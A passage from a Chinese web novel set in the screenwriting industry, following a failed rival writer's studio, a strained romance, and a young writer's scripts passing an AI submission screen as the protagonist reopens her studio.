“唉!华年姐你不知道,我火是火了,可是导演们仍然瞧不起我……不过他们也没错,我其实也不知道该怎么改。但是华年姐,有一说一哦,你的剧组虽然严厉,但是从上到下都愿意听意见呢,那会儿我记得有个群演跟朱导提了个布景的想法,她沉默半天,第二天还真就改了,我们当时还为那个小透明捏把汗呢。”
杜华年低头吃她的柠檬片,李雯斜眼瞟她一眼,帮她也要了一杯汽水,掏了三片柠檬泡进去搅拌,“人人都躲着你华年姐,你倒是不避讳。”李雯幽幽冒出来一句。
芊芊一顿,认真地睁大眼睛,“其实我们都不信的!那个慕华看着才像抄袭的吧,你们不知道吗?这一年来她招了多少笑话,火是火了,但可没人瞧得起……”
杜华年和李雯对视一眼,心照不宣地沉默。
31. 故事——慕华版
那天,杜华年在梧桐树下暼她那一眼,成了慕华新的噩梦,那神色,那双眼,那姿态,那棵繁茂的法桐和那扇萧条的大门,逼真如斯。
反反复复,来来回回。
她每次惊醒,每次愤恨不甘。倒也不会大汗淋漓了,也不是想玩命疯逃的恐惧,而是一种细细密密的后怕,不敢细想,越想心越凉,暑天也像寒冬。可是不想,它又总藏在窗帘后、桌子下、客厅的角落、走廊的转角或者,窗外。
也算好事,她再也不会梦见母亲和一屋子逼压的亲戚。
可真是坏事,她的脾气愈发坏了,经常控制不住,没有来由的愤怒,哪怕点了杯奶茶忘记备注去冰,她也能气一个早上。更不要说如果是别人的错。
她一股恶气陡然升了上来,想起一句经典宫斗剧台词:越害怕的,就越要逼自己去面对!于是,她硬着头皮把杜华年空出来的工作室盘下来,挂了个新招牌:许慕华工作室。
表演了一个不信邪。
还打算玩一手复刻,她一个一个电话打出去,跟曾经的同事们说她会按照原样的待遇聘请他们回来工作,没几个人接电话,接的,大多也是婉拒,只有和她曾一同躲在一楼最里面一排小隔间的写手们,倒是都愿意来。
她觉得需要一个有号召力的人,比如张导或者李导。于是她精心收拾了一番,去敲张导家的门,却被张导老婆误认成小三上门。她挨了一巴掌,还听了好半天侮辱谩骂,终于解释清楚自己是谁,结果对方没有半点愧疚,反而轻蔑一笑,“哦,反骨仔啊!和小三一路货色,都不是好东西。”
“砰!”女人关上了门。
黄梅雨季,人心压抑。太久没有见过太阳,慕华觉得雨点子这么重,压得她拿不住伞,赤裸的语言攻击虽然粗俗可笑,但管用,伤害性不大,侮辱性极强。她总要砸点什么东西出去才行,于是扔下了伞。雨珠子爬满脸,她假装那是泪水,踩着高跟鞋一步一步往回走,尽可能的踏出声响,想要覆盖掉脑子里那个法海敲钵的节奏。
最要紧的不是这件事,而是钱。慕华真没想到一旦当了老板,每日花钱如流水。她并没有真的敢状告杜华年,热度上来以后,她悄悄撤了诉。吃了一笔流量红利,她以为已经很多,足够做第一桶金了,可是真正租下工作室后,她甚至不敢重新装修,打扫了卫生就开张了。
现在最迫切的,是挣钱。雨水浇灭了她的愤怒。
投资方苦杜华年久矣,她专制、霸道、脾气坏、嘴巴毒,偏偏她的故事总受欢迎,现在好了,慕华告了杜华年,杜华年跌下神坛,一直是各个娱乐资本想干却不敢干的。把杜华年踢出了局,还敲了她一笔竹杠后,他们的目光自然放在了慕华身上,慕华顺利接收了华年工作室的所有合作方,她又有了信心,这些员工不来有什么关系?这些老板们才是有眼光的。
第一次和资方开会,慕华领了原本坐她隔壁隔间的小写手充当助理。
说是开会,其实只有一个扑克脸的女人坐在她对面玩手机。
东影传媒要她写一部古偶,标签是:大女主,凄美爱情,宿世纠葛,复仇悬疑,权谋博弈。并且明确要求:反套路,有新意,男女主最好身份对立,但心怀天下,有匡扶正义、建立盛世的远大抱负。但也要有跌宕起伏的感情线,两人要被情感折磨,爱而不得,要有人制造误会,也要有人解除误会,到最后要安排一个HE结局,最好是仙侠玄幻背景,男女主最好都是动物植物。集数:40。
看完后,慕华觉得没有看懂,喝口水又看了一遍,懂是懂了,但……她实在不知道该怎么写,于是她问,“姐,咱这个剧的主题是什么?”
“你没看懂吗?这不是写得很清楚?”女人穿着白色西装外套,牛血色口红厚涂,靠在椅子里,听她一问,头都没抬,语气很有些不耐。
“啊不是……”她一惊,赶紧道歉,“不好意思,姐,我看懂了,但是这个主题好像不太明确,你看是不是确定一下,到底是要……”
“这是我们公司专业的剧本指导给的,你是说他不够专业吗?还是说我们公司不够专业?”牛血色终于抬起头来,“我实话跟你说吧,这个本子是我们和山河文化合作的,我们这边出女主,他们出男主,你懂了吧?”她皱眉看着慕华。
慕华不傻,“懂了姐,就是说咱要捧女主。”
牛血色不耐烦地闭眼吐气,“男主也要捧!”
慕华傻了,“大女主,怎么捧男主?”
“所以要加入权谋悬疑复仇啊!”牛血色气笑了,“哎哟我的好妹妹,你是真傻还是跟我装呢?”
慕华赶紧也笑,“哦哦,懂了懂了。那么姐,我再问一下,咱这个故事……精神内核是什么?要表达什么观点?弘扬什么?贬低什么?”
“啧,你是没看过剧吗?弘扬正义弘扬爱情咯!这不是写得很清楚吗?”牛血色又开始戳手机,并站了起来,“我没空跟你说了啊,我要去接艺人了,十天,拿出本子来啊。走了。”
慕华领着小助理回去了。
坐在杜华年那把椅子里,她一肚子疑惑愤怒没地方宣泄,只能骂娘,“他姥姥的!它这写得乱七八糟,最多叫做故事类型好吧,跟精神内核有半毛钱关系吗?啊?”她冲着小助理瞪眼睛,小助理只能摇头。“她是不是听不懂什么叫主旨,什么叫要表达的精神内核?弘扬爱情?那是爱情片,弘扬正义?那是警匪片战争片!权谋?拍秘史可以,悬疑?侦探片咯?还……还什么仙侠玄幻……这都什么呀!”
小助理看在曾一同坐小隔间的份上,劝了她一句,“姐,全都揉在一起,叫爽片。现在流行。”
慕华气一短,挥手让她出去,独自一个人深呼吸数次,扶额撑在杜华年的桌子上,看着杜华年那盏古董台灯,忽而心头一抖,背上一阵恶寒,慌忙站起来,就像椅子上有针扎她。
她望着办公室的天和地,沙发上方的墙壁上还挂着度华年那幅大照片,虽然照片里的人是闭着眼的,但慕华总觉得她像个佛像一样在俯视她,哦不,是像个魔鬼!她还总是听到一个声音在她耳边游丝一样地回荡:你以为人人都可以是杜华年?是杜华年……华年……年……
她连走带跑出了办公室,走到院子里石凳上坐下,喘气。
慕华还是想尽办法把剧本写了出来,十天期限,她每天只睡四个小时,尽量把故事写得完善一些,为此还查阅了不少资料。
但稿子交过去后,却石沉大海,没了音讯。她问了几次,回复都是:还在讨论,有需要改的地方会再沟通。
直到七月,雨季都要过去了,钱也快烧没了,慕华亲自去了一趟东影传媒,当然被阻拦在了前台,前台小姐姐很热心,问她写的是哪个本子?她报了名字,前台小姐姐惊奇道:“这个已经在拍啦!真的,昨天开完剧本讨论会,演员今天都进组了,现在应该已经在置景围读了吧。”
慕华脑子里轰隆隆的,眼角瞥见上次那个牛血色白西装走出来,扑上去抓住她手,“姐,我是慕华,我那个本子听说已经开拍了?我怎么没收到通知啊?”
牛血色露出职业
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微笑,“估计是下头人忘了通知,你的本子大改了,因为要改的地方多,我们公司的编剧直接代劳了,下回有机会再跟你合作哈。”牛血色说完就要走,慕华赶紧拉住她,“姐,有什么要改的我都可以改的啊……”牛血色拍拍她,“改的真挺多,这个类型可能不适合你,下次换个类型合作。”牛血色走远了。慕华不记得怎么飘出的这栋大楼。
但雨停了,黄梅雨过去了,太阳晒在她身上,她知道了什么叫做蚍蜉撼树。
七月没有过完,慕华就搬出了杜华年的工作室,招来的两三个员工摸了两个月鱼,也没好意思要遣散费,自己先走了。收拾了东西走出工作室大门那天,艳阳高照,她抱着一个小纸箱孤零零地站在梧桐树下,看着自己的招牌:许慕华工作室。回想起那天撞见杜华年,她算是猝不及防跌下神坛的,可即便是卷铺盖走人,她都有一个小跟班在身后跑上跑下。
也不怪她瞧不上我,她想。
她回到自己新租的房子里,至少这个房子可比原来好太多了,她感到还有希望:大不了回到当初,自己一个人写故事拿去卖,总不至于比从前还差。
慕华算是有代表作的独立编剧,邀约还是有,自己递本子也有人收,但是通常都要被改得面目全非。要是别人来改,她就不能独立署名,想要独立署名,她只能一遍一遍听甲方猪头的非人类意见,改到自己都看不下去,最后还有可能面临进剧组听主演们的非人类意见,一天一改都是常态。
不用三个月,她已经麻木了,已经可以和其他同行们凑在一堆宵夜,喝两杯啤酒,调侃这个行业生态还不如网文,至少在网文界,只是维权困难,在编剧行当……哼,根本没有维权,编剧们也早就顺应了,能拿到钱,或者说能拿到三分之二的钱,这一本子买卖就算功德圆满了,至于是洗稿还是直接抄,谁管呢?
梧桐落叶时,她在晨露冰凉的某天早晨接到通知,去东影补签合同,说是公司为了将来更好地合作,即便剧本大改,但还是给她署名,签了字就走账给她稿费。她仔仔细细看了合同,钱比当初说好的少了一半还多,版权也在东影手里,她一个独立编剧还不如东影旗下的写手。但她已经可以面不改色地签字盖章查账走人,丝滑如德芙。
几天后慕华接了一个本子,和另一个独立编剧一起负责修改。只要注水百分之八十,原作就只剩下不到百分之二十,自然就不构成抄袭,属于惯用白嫖手段。对于负责注水的编剧,也只需要支付稿费,不用给版税,版权还可以牢牢握在影视公司手里。这是半年来她最常干的事。
不过这次,她从合作的另一个编剧那里意外知道了一个真相:她给东影写的那个本子,他们根本一个字没改直接进了组,倒是在拍的时候被两个主演加戏加了个乱七八糟,现在开播在即,就怕出问题,所以加上她的名字方便到时候甩锅。
“你怎么知道?”慕华看着眼前这个比自己还小两岁的姑娘,还是觉得不可思议。
“因为当初替他们跟组加飞页的,就是我啊。”小姑娘笑得老道,“我是比你小,但我干这事比你多。没办法,洗稿比原创挣钱,你看搞原创那些,到最后辛辛苦苦写的,连自己的名字都上不去,还想收到钱?你那个本子给到我手上的时候,页脚还印着‘许慕华工作室’呢!他们估计连看都没看过。我本来以为杜华年是一股清流,但没想到你也是被她欺压的,唉!不过啊,我还是佩服你的,你敢反抗杜华年,来,走一个!”
再听到杜华年三个字,慕华心肝一颤,不知道该做什么表情。
32. 我想要独立
芊芊早走了。听完故事,李雯也要了一杯汽水,“看来还真是有报应。”
杜华年面上似乎并不觉得如何,“这是必然的剧情,算不上什么报应。她写网络小说,卖出过几个版权的,心气高不奇怪,我直接签她过来,就是打算培养。但她太心急,没办法。”
两人默然喝完了汽水,各自垂眸,没再说话。
李雯开夜车回南京,曾倩和小赵玩得太疯,在后排睡得死猪一般。她看向身边的杜华年,“你变了,阿芳。”
很多年,李雯没这么叫过她,夜色浓重,高速上只有往来车影和冷寂路灯,身旁触手可及便是黑暗无边。开夜车,最易时空错乱,她是有点贪恋这种感觉的,“我还是原来的我。”
“不是,你没那么冷漠了,从前你不会说如果不喷香水,就像高中生这种话。”
杜华年没有反驳她。
“阿芳,今天芊芊的提议值得考虑。就像封杀喵喵一样,既然芊芊主动提了愿意帮你,你干脆顺水推舟,反正慕华她也不无辜。”
“我再想想。”
李雯又斜她一眼,“你真变了。你忘了吗?你是有仇必报的人,大学的时候你差点住不成宿舍是为什么?你还记得吗?”
“拿酒瓶子砸我下铺的头。”杜华年打开窗,点了一支烟。
“就因为她造谣,说你是靠你爹才进的文学院。我最记得的是你打她的时候说‘我要是靠我爹,你以为你还能站在这里跟我乱吠?’”李雯凭着回忆,绘声绘色地学着她当年的神态,学完她就哈哈大笑两声,又想起后排还有人睡觉,赶紧收住了声音,“哦哟……这句话可是不得了哦,我就是凭这句话看上你的。”她往杜华年脸上投去一个又深又媚的眼神。杜华年靠在椅背上,正垂眸看着她,深吸了口烟,往她脸上吐出来。李雯嗔她一眼,给她吹回去,复看回前方,神情迅速平淡下来,“可你现在居然会说‘我再想想。’哼。”她冷笑一声。
杜华年并不受她的激,淡淡地看着车窗外涌动的黑夜,平静地说:“但最后,差点住不成宿舍人是她。不得不承认,我爸有时候说的是对的,我能这么快站稳脚跟,这么多年无往不利,和我是他女儿脱不了关系。”
“放屁!只有这层关系,我不拿钱,你不出力,谁能给钱给我们烧?故事不卖座,哪有下一部?”
“那也得有这层关系。你的钱,你的人脉,也都和你爹有关系。”
“你就是矫情。谁不是爹妈生的?我一个私生女,我都不怕说,我就是靠他怎么了?我又不是自己啥都不干。你真是变了,你对慕华都愧疚了,她现在还不知道自己是小丑,她抄你的,你不能说归不能说,但她就是上不得台面。果然吧,热度给到了,她不也照样后继无力。写不出好本子,炒得多高的名声都没用。”
“我不怕她抄,她光明正大跟我讲,我教她怎么抄。”杜华年碾了烟。
“哼,你就是犟种。以前我总盼望你好好说话,现在你好好说话了,我又想念你人身攻击我。你怎么就变了呢?”李雯又转头看她一眼。
“你看前面!”杜华年嫌弃道。她喝口水,转了话题,“说正经的,你帮我卖些本子,钱要一笔过,价钱你看着定。署名用曾倩,如果不能独立署名,就用芳生工作室。告诉他们,如果我的人名字都不能上,那就谁的名字都别上,如果有人执意要洗稿,你就直接摆网上,免费给大家抄。哦对,全程你给录下来,转头放网上的时候一块放出去。”
李雯再又转头看她一眼,忍不住笑起来,“好的嘞!小人一定给您办妥。”
杜华年白她一眼,闭目养神起来。李雯心里终于高兴了一点,她似乎也不是全变了,还是留了一半原来的灵魂。
进了城,先到小赵家,再回到建邺区,七拐八绕,李雯开进地下停车场,杜华年才反应过来,“你下来干嘛?把我们俩放下你就可以绕出去了,地面又不是没路。”
“我搬出来了,我记得我上次跟你说了我要搬呐。我的事你都不记得是吧?”李雯一把倒进了位置,曾倩看呆了眼。李雯从后备箱里拎出来两个行李箱,“你楼上有一户正好出租,现在是我家。我的地板就是你的天花板。”杜华年忍不住挑了挑眉,李雯也回了她一个挑眉。
要卖的本子已经打印好,李雯从杜华年家里还顺走了一瓶酒和一箱面条。曾倩翻了翻,“这些不都是我写废的吗?”“我不是改过了?随便卖点钱。”杜华年又给李雯拿了几包咸菜。曾倩抽出来一本,“这个我留着再看看行吗?”李雯看杜华年,杜华年随意一点头。
曾倩早看过这些修改过的废本了。杜华年的速度很快,她一天一个大纲写了十天,杜华年选了五个让她写成全本。她从早到晚地写,除了吃喝拉撒睡,全在写,三天就能出一本,可杜华年半天就能改完,她当然知道改卷子的快过做卷子的,可是这种速度还是令她疯狂心跳,就像下午刚考完数学,晚上语文数学成绩一起都出来了一样,她连惊叹的时间都没有,转头又逼迫自己写快点,再快点。
别说,熟练真能提高能力。但她一直不知道自己到了哪一层,昨晚她留下那个本子,是为了投进那个变态邮箱再试一次。她试了三回,第一回是她的一稿,显然AI给退了,理由仍然是俗套;第二回,是杜华年修改过的,AI没退,但没任何回复;第三回,是她另写的一本故事,AI还是退了,但理由变了:情节普通。
欸?它还有什么理由?
曾倩躺床上睡不着,翻来覆去两小时又爬起来,投了第四回,把第三回那本的修改版投过去,AI回复:请耐心等待人工编辑联系。
她瞪大了眼,不敢相信。此刻,天也蒙蒙亮了。
四个本子,熬了个大夜,李雯看完了,都是流水线产品,跟精雕细琢半年一年甚至几年那种,肯定不能比,但也还算能卖钱。她决定先睡一觉,晚上有个商务宴,她能一次性把本子遛一遍。忙起来的李雯会忘记她还有个男朋友,等到宴会结束,她兴高采烈地拿着几个合同出来,才看见男朋友小宋站在车边,冷着脸。她立马在脑子里搜索了一遍,确定昨天今天明天,都没约过这个家伙呀?
宋林知道自己现在只是一个穷画画的,除了长得好,没什么优势。李雯是个富二代,没人比他更了解富二代了,在李雯眼里,他这个优势相当于一个标志:可以玩,不可以当真。
但李雯又是个不太一样的富二代,不一样在于,谁也看不出她是一个富二代。
于是,和李雯谈恋爱成了一件一直失控的事。他也明白,她不相信他,但他不明白,她居然连搬家都不告诉他。
“我去你家找你,你家园丁跟我说你搬走了,所以这几天你不回消息,是因为在搬家?”
李雯仰望他,看起来他真的很生气,但她不很明白他气的点在哪里,于是她率先拉开车门,“上车再说。”她打算跟他好好谈谈。
宋林压住她手,“我来开。”李雯又拐回了副驾驶。
车子开了出去,马路上灯火流光,李雯率先开口。
“我不知道怎么回,所以假装没看见。”李雯坦白,“上次你在别墅外头等我那么久,我就有点慌了,宋林,你图我钱没问题,你照着人设演下去挺好,但你突然改戏路,我不知道怎么接啊!”
“那我还钱的时候你怎么不慌?”宋林气笑了,“按人设,我拿了钱就可以消失了,干嘛回来见你,还要还你钱?”
“想要更多啊,博取信任啊,都是这么演的。我不介意,真的。”李雯睁大无辜的双眼,转头望着他,眼睛里还亮晶晶的,短发细眉小圆脸,看起来怪可爱,“其实你直接跟我说要钱,比借更好,我会直接给你的。咱定位还清楚。”
宋林气冲大脑,自嘲笑了两声,车速从三十多升到了快五十,“李雯,我上次借了三十万,没能及时跟你联系上,回来我就听说了,你带着杜华年去跟你爸吵了一架,我也问过姜老板,她说你那天晚上哭得很惨。你说你跟我演戏,有必要这么伤心可怜吗?我又看不见。”
李雯想跑,她本来觉得自己今天挺有胆色,可是宋林这话一出,她突然要面对自己曾经无数的失败恋爱经历,还是实在有点太难
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了。
宋林看出来了,又加了一脚油,“我一开始不知道你有钱,我以为你就是来画室想画一幅肖像。我给你画的时候觉得你很难过,但是你一直装开心,跟朋友讲电话也瞒着朋友,但我觉得人家肯定听出来了,我觉得你又傻又可爱。”
我去!李雯在心里狂喊,这时候她脑子里跑满了杜华年,她真希望杜华年从天而降救救她。
看着宋林执着的眼神,她只能硬着头皮,“你真喜欢我?嗯……”她点点头,“你喜欢我又傻又可爱。但是宋林,你有没有想过,我喜不喜欢自己又傻又可爱呢?”她心里慌得要死,但努力照着杜华年的样子演,“从前我谈恋爱,到你消失那个段落就是结局了,但是你又回来了。啧,说实在的,后来这些时间,我觉得我终于走出了一个固定的圈圈,我进步了!你晓得不?”她挠挠头,“我挺喜欢这个进步,因为这个进步,我才敢搬家的!宋林,如果,我是说如果,你真的是那么真心的话,那你真的,换个人好好谈吧,我……”她低下头,纠结了半天,“我不是……觉得你不好,我只是现在很忙,真忙,我得离开家,我得离开了家还能活得好好的……我……诶?你往哪里开?”
望着窗外逐渐陌生的街道,建筑群和灯光都开始冷清疏离,宋林的车速却还在往上加,李雯心里的恐惧也直线飙升,“宋林?宋林!我要去找杜华年,方向开反了!”
宋林很烦躁,“又是杜华年!你就不能离她远一点吗?”李雯刚要反驳,宋林的手机响了,他一手扶方向盘,一手从裤兜里掏出手机,看了一眼就挂掉,李雯看见屏幕上显示陌生号码。宋林的情绪似乎并没有因为这通电话冷静下来,反而更加暴躁了,狂按几下喇叭,李雯拉紧了扶手。
或许沉默的时间有点长,宋林瞥眼间发现李雯紧缩的姿态,才慢慢深呼吸,放慢了车速,也放软了语气,“雯雯,你能不能不跟杜华年搞工作室了?”
李雯抚着胸口,稍微觉得安全了点,“我不搞工作室,怎么赚钱?好,就算你不图我钱,那我得养我自己吧?”
宋林有些急,“我能养你的!我的画室已经开始正常盈利了,更何况你就算什么都不做,家里也不会饿死你啊!你想搬出来,那就搬到我家,我们两个人开开心心的,不去管别人,不好吗?”他想了想觉得不够真诚,赶紧补充,“如果你怕没安全感,我可以立刻跟你去结婚!”
李雯彻底无语了,这个男人简直就在说梦话,“你这话说的,好像你才是富二代一样。你知道富豪老爹的钱要用什么才能换到吗?我毕竟比你多活好些年呢,我告诉你,我不想再用尊严去换钱了。其实我也犯不着跟你说这些,但是……宋林,这么多年,你确实是第一个跟我提结婚的男朋友,我谢谢你。如果是一年前,我就真的跟你结婚了。可是现在,我只想独立。我也是文学院毕业的,我还是老杜的师姐呢,我是第一个看中她……哦不,”她立即想起了还有个叫沈荷的,心里一阵不舒服,“但至少我是第一个投资她的人,怎么样我也算是伯乐,物色了千里马给我挣钱,怎么不算我的本事呢?可是去年的事让我明白了,如果我真的是有本事的伯乐,一定不会让我的千里马沦落到要去拉货维生。老杜说得对,我得离开家,不是物理上的,是精神上的独立。所以宋林,我不会和你结婚的,那不就等于,我还没从家里独立,就又变成了你的附庸,而且还是一个穷人的附庸,那我还不如回去继续舔我的爹呢!”
宋林立即就想反驳,电话又响了起来,还是陌生号码。像一盆凉水浇下来,他一瞬间上头的热血冻住了,恍然想到刚才差点脱口而出的话,即刻后怕起来,就这么盯着电话发愣,以至于前方绿灯变红,他也没看见,车子眼看要撞上斑马线上的行人,“欸!”李雯吓得大喊一声,他吓得回过神来,才猛踩刹车,被吓到的行人已经开始骂骂咧咧。
两人都沉默地后怕,电话执着地又响了起来,李雯擦了把冷汗,“换我开吧,你接个电话。”说着她就下了车,绕到了驾驶座外,宋林就着这个空隙接听,飞快说了句“我在开车,晚点再打。”就挂断了。
33. 人生只能选一条路,你想好,走哪条
解锁新回复后,惊喜加亢奋再加熬大夜,曾倩大脑迅速缺氧,倒头就睡了过去,梦里见到了华丽娟。
一直睡到傍晚,她惊醒时一看天色,大惊失色,慌忙跑到客厅,却看见杜华年已经坐在餐桌前,陈姨正在上菜,招呼她,“快过来吃饭了。”她走过去看着杜华年气定神闲喝着汤,问,“你怎么没叫我起床?”
“你不是都会自己起了吗?”
“是,可是今天我没起,你看见了不叫我?”
“我以为你另有安排呀。”
曾倩气结,“你小时候上学睡过了,你爸妈也不叫你,也以为你另有安排?”
“嗯。”杜华年点头应了一声,又去盛汤。
“狗屁,你撒谎。哪有这种爹妈。”
“你没见过就没有?行了,我知道你昨晚在干什么,今天歇了就歇了,往后有别的事情要做。”
“我不写了?我还没写多好呢,AI都不让我过,只有你改过的才能过。”曾倩急了。
“你怎么不把你前天写那本投了?昨天太累了,我还没来得及改。”杜华年又喝完了一碗。
曾倩一拍大腿,跑回去发邮件。
再出来,菜已经上齐,她坐下喝了口汤,赞不绝口,“嗯!陈姨,您这腌笃鲜绝了!”她忍不住竖起了大拇指。陈姨笑笑,“春笋难得,你多喝点。”
“你那个AI,还会区分不同理由呢?”她喝着汤,抬起圆圆的眼睛试探地望着杜华年。
“不然能叫AI吗?”杜华年知道她心思,也不戳破。
“什么叫情节普通?”
“哦?你试出这个了?说明主题已经过了。就是表现主题的能力还欠缺。”
曾倩眯起眼睛看她,觉得她和她的AI都很变态,“那什么叫做耐心等待人工编辑联系?”
“哟?这个你都刷到了?这是给个饼,怕你一稿多投。”
“就是说很看好这篇稿的意思呗?”
“对。”杜华年爱吃笋,一口一口不停,汤里的笋都快吃完了,其他菜根本不动,“你还见到什么了?”
“还有没回复的。也不说过也不说不过。”曾倩爱吃火腿,汤里的也快吃完了。
“那就是过了,但没那么好。”
邮箱提示音又响起,曾倩放下筷子,打开手机邮箱……
“过了!等待人工编辑!!”曾倩这一嗓子爆竹一样响亮,给杜华年吓了一大跳,她揉揉耳朵,“你稳一点!明天不用写了。”
“啊?那干点啥?”“明天你就知道了。”
吃完饭,曾倩高兴地在家里唱起了KTV。当她掏出她巨大的棒槌麦克风时,杜华年懵了,现在的年轻人真会玩!曾倩捣鼓捣鼓,连上了她的投影。杜华年失笑,真没想到她的投影有一天还有这样的用处。
她下楼抽烟,正好撞见宋林送李雯回来。
“你们住一块儿了?”宋林看见杜华年穿着一套睡衣在单元门口抽烟,皱起了眉。
“我住她楼上。”李雯不想多待,“我困了,先上去了。”
杜华年看她脚底抹油的速度,又看看满脸失落的宋林,也猜到个大概。宋林打了招呼就要走,杜华年却破天荒地叫住了他,“宋林对吗?”
杜华年请他坐在小区中央广场边上看了一阵子广场舞,跟他说了一些话。
坐在回家的出租车上时,宋林不断想起她说的话。
她说在竹林里就看出来他可能真喜欢上李雯了。但她又说男女之情最靠不住,她问他今年多大?又说二十来岁的男生还是个孩子。她说李雯也还是个孩子,你要是越认真,她越想跑,你要是不认真,她又受伤害,她是个可怜的小女孩。你呢?你是什么?
她说她相信他的真心,但她也相信,每个故事寥落地结局之前,都有过真诚而热烈的开始。每个人说的每句话,不能说都是假的,至少在你激动地说出来那一刻,它是真的,或者你希望它变成真的,这就是人的情感。有时候,我们分不清一时情绪和永恒的深情,它似乎就是一件事。
她说李雯至少搬出来住了,是一个伟大的进步。她用了伟大这种词。
他问她为什么跟他说这些?她居然说:“我从来没去看过配角的人生,但现在我发现,配角也是主角,应该看一看。”
她说,他一个穷画画的,应该很能听懂她这种抽象的语言。
宋林想了一路,他好像明白了,为什么人人都对杜华年,又爱又恨。
陌生号码又打来,他烦躁地冲着电话喊,“我不会听你的!
“你看我这次赌得对不对!
“我不会后悔的!不要再打给我了!”
他暴躁地挂掉电话。
本子一手清光,顺利得不可思议,就连一向粗线条的李雯都觉到一丝可疑,“这是不是你爹的手笔?”
杜华年回到了颐和路,正在检查工作室里的墙面和地板,“我原来是写小说的,后来干嘛要改行写剧本?”她回头看李雯。
“不想被你爹……干涉。对呀,影视行业是看市场盈利的,你爹怎么可能手伸这么长?”
“一个公司全买了?”
“对,还要求全部署名芳生才行,我咬死一定要加工作室三个字,他们最后商量很久,才答应。”
“芳、生?”杜华年推开她原来工作间的门,烟尘四起,她偏头挥手,穿过陈旧的空气,拉开窗帘。阳光透进来,这间房竟然是整个工作室保留最好的一间,她一笑,心头想:看来慕华真是个足秤的鎏金货。“你说他们是个新公司?叫什么?”
“天地文化传媒集团,是宋氏集团旗下的,说是要进军国内娱乐领域。”
杜华年心里闪过一丝猜测,但听到是宋氏,又觉得自己的猜测太大胆了。“再说吧,反正钱已经到了,找人搞卫生,找个风水师傅选日子,再重新做个招牌。”“行。”
走出大门,小赵冲过来抱住杜华年吼了一嗓子,“华年姐!你终于回来了!”
给她俩都吓了一跳。
重新挂牌芳生工作室后,接到的第一个合作方正是天地文化,两边签了深度合作协议。曾倩已经被李雯爆改成了一朵野玫瑰,火热、张扬、明媚,出入各色商务宴会,很快,整个圈子都知道最近发生了两件大事:
杜华年回来了。
杜华年要捧一个新人。
五月的南京很美,满天飞花。夜归路上,花香令曾倩嗅到久违的少女心怀,她低头看着自己华丽的长裙,精致的首饰,莫名其妙地,她突然非常想念下晚课回宿舍,那条栀子香满的路。她站在树下,靠着树干,回忆起最近发生的一切。
重新盘下工作室的前一天晚上,杜华年看着才洗过澡,头发还湿漉漉的曾倩,说:“你最后写那一本,我改好了。写得很好,真的。”
曾倩坐下来,安静地等她继续。
“阿倩,你妈妈……她首先是希望你开心平安。这个故事写的是你的故事,我有信心,如果我把它放出去,你的名气能和我当年相比。但是,它毕竟是你的故事,要不要放它出去,你说了算。再有,从明天起,你要代表芳生工作室,处理一切与合作方的事务。”
曾倩看着她,声音有点飘忽,“我妈……应该希望看到我越来越靠近你了。”
“不,你妈妈,希望看到你做你自己。”杜华年拿出日记本,放在桌上,“你可以自己看。看我是不是骗你。”
“不用,我妈信你,我就信你。我只是不懂,她那么遗憾,怎么会不希望我像你一样?”
“现在你还不好明白。但我可以负责任地告诉你,你妈妈的遗憾不是你,是她自己。你只要记住,你只有按你自己的心意活着,她才真的开心。”
“好。”她看着她。
“我需要你明白,到此时此刻,你都是可以回头的,但一到明天,你就再不能回到原来那条路上去了。人生只能选一条路,你想好,走哪条。”
曾倩闭上眼,却更难平静,心里的海潮一浪又一浪,其实什么都想不清楚,但血液里的冲动很野蛮。可当她想起刚复学那段日子,立即睁开了眼。她知道,她一点也忍受不了那种平庸的生活了。“我不回头。”
杜华年疲惫地笑了,“好。饿么?煮个面吃吗?”“吃。”“以后半夜你会经常饿,赶快学会煮面。”“噢。”
第二天曾倩一起床,杜华年已经在洗澡了。她楞在浴室门口,杜华年的声音从蒸腾的雾气里传来,“你上楼去找李雯。”
曾倩迷迷糊糊,应了一声转头上楼。
猫猫刨着小短腿转悠在浴室外,显得非常兴奋。
我很久没见到这样的麻麻了,她清醒以后的速度吓了我一跳,她穿着睡袍在衣帽间里挑衣服的时
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候,我还没有搓完我的狗脸。
陈姨敲敲门,问她想吃什么早餐?她说想吃煮粉。
吹头发、卷头发、化妆、换衣服,熟练得像一个机器。二十七分钟,她“啧”了一声,“生疏了。”
看来今天麻麻要带我去上班了!
杜华年挑了一条宝蓝色长裙,露出两条修长的手臂,红唇乌发,眉峰凌厉,双眼像一对深幽蓝湖。
曾倩敲开李雯的门,门里已经站满了人。她的头发被吹直,化妆师遮掩了她的婴儿肥,给圆圆的眼睛画了凌厉的眼线,李雯给她安排了一套粉色香风套裙,她没穿过高跟鞋,李雯只给她备了一双三厘米的。望着镜子里的人,曾倩第一次感到一种隆重仪式感带来的分量,直到这一刻,她才真正明白昨夜杜华年给她煮面,对她说那些话的含义:明天之后,路再不能回头。今天和昨天,是真的不同了。她有些伤感,又有些兴奋。
李雯带着曾倩下楼,杜华年仔细打量曾倩的模样,露出微笑,“你妈妈看到会很欣慰的。”一瞬间,一句话,让曾倩明白了自己为何伤感。李雯看了看杜华年,从包里掏出一对设计夸张的黄水晶耳环,“戴上这个,你才是我的女神。”杜华年看看她,接过来戴上,硕大的方形黄水晶错落堆叠,垂下来几乎碰到她肩,还有竹青色橄榄石做点缀。
她换了一双黄色高跟鞋,拉着猫猫,一马当先走在颐和路公馆区的旧砖路,尖细的高跟踏出法海敲钵的节奏,身姿英挺,裙裾猎猎。李雯走在她身后,看着她肃杀绝尘的背影,嘴角忍不住高高上扬,曾倩莫名其妙地紧张,紧紧跟在李雯身边。李雯对她说:“你看,你芳芳姐就应该是这样的。”
工作室大门开着,员工已经各司其职,见到她都严肃地打招呼,一声声“华年姐”听得曾倩像喝了两杯似的。杜华年流云一样走进去,眼里什么都不留,HR自觉跟上来,“华年姐,这是你要的画师名单,一个小时后他们在三楼排练厅等您。”
“好。”
上了二楼,瑜姐等在她的办公室,“老杜,早。”
她浅笑,微一抬头,“早,给你的钱到位了吗?”
“到了。”
“除了基本宣传,这个礼拜把重点放在曾倩身上,关键词就是……”她放下包,坐进椅子里,随手抽出一支笔,笔尖一点一点,“沉迷文学世界的孤独少女,与世俗格格不入的精神世界。照着这个人设来包装,其他你看着办。”
“好的。”瑜姐出去了。
“阿雯,帮我找到慕华的具体行踪,今天之内。还有,约刘芊芊来。”
“行。”李雯也出去了。
“阿倩,一会儿你跟我一起去面试。我要把你这个故事先画出来。”工作间的窗下收拾出了一块空地,摆上了一套桌椅台灯。杜华年伸笔一指,“你的位子就在那,做你该做的吧。”
